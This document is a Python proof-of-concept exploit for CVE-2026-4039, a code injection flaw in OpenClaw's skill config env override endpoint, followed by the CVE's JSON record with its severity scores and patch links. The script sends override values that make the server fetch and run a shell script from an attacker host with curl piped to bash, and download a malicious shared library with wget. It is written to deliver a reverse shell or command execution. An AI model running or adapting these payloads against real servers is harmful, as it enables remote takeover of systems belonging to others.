CVE-2026-4039

#!/usr/bin/env python3 # CVE-2026-4039 PoC - OpenClaw Code Injection via Skill Config Override # This PoC demonstrates the code injection vulnerability in applySkillConfigenvOverrides function import requests import json import sys TARGET_URL = "http://target-openclaw-server:8080/api/skills/config/override" ATTACKER_PAYLOAD = "$(curl http://attacker-server/shell.sh|bash)" def exploit_cve_2026_4039(target_url, payload): """ Exploit the code injection vulnerability in OpenClaw's applySkillConfigenvOverrides function by sending a malicious skill configuration override request. """ headers = { 'Content-Type': 'application/json', 'Authorization': 'Bearer <low-privilege-token>' } # Malicious payload that exploits the env override functionality malicious_config = { 'skill_id': 'any_valid_skill_id', 'env_overrides': { 'PATH': f'/usr/local/bin:{payload}', 'LD_PRELOAD': f'$(wget http://attacker-server/malicious.so -O /tmp/mal.so && chmod +x /tmp/mal.so)', 'SKILL_EXEC': f'{payload}' } } try: print(f"[*] Sending malicious config override to {target_url}") response = requests.post(target_url, headers=headers, json=malicious_config, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200: print("[+] Payload delivered successfully") print("[*] Check attacker server for reverse shell or command execution") else: print("[-] Request failed, target may not be vulnerable or patched") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": exploit_cve_2026_4039(TARGET_URL, ATTACKER_PAYLOAD) # Mitigation: Upgrade to OpenClaw v2026.2.21-beta.1 # Reference: https://github.com/openclaw/openclaw/releases/tag/v2026.2.21-beta.1

{"cve": {"id": "CVE-2026-4039", "sourceIdentifier": "[email protected]", "published": "2026-03-12T12:15:59.740", "lastModified": "2026-03-16T18:02:55.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in OpenClaw 2026.2.19-2. This vulnerability affects the function applySkillConfigenvOverrides of the component Skill Env Handler. Executing a manipulation can lead to code injection. It is possible to launch the attack remotely. Upgrading to version 2026.2.21-beta.1 is able to resolve this issue. This patch is called 8c9f35cdb51692b650ddf05b259ccdd75cc9a83c. It is recommended to upgrade the affected component."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en OpenClaw 2026.2.19-2. Esta vulnerabilidad afecta la función applySkillConfigenvOverrides del componente Gestor de Entorno de Habilidades. Ejecutar una manipulación puede conducir a la inyección de código. Es posible lanzar el ataque remotamente. Actualizar a la versión 2026.2.21-beta.1 puede resolver este problema. Este parche se llama 8c9f35cdb51692b650ddf05b259ccdd75cc9a83c. Se recomienda actualizar el componente afectado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.21", "matchCriteriaId": "09CAA52D-0C33-41B4-854A-338CBFC45513"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openclaw/openclaw/commit/8c9f35cdb51692b650ddf05b259ccdd75cc9a83c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.21-beta.1", "source": "[email protected]", " ... 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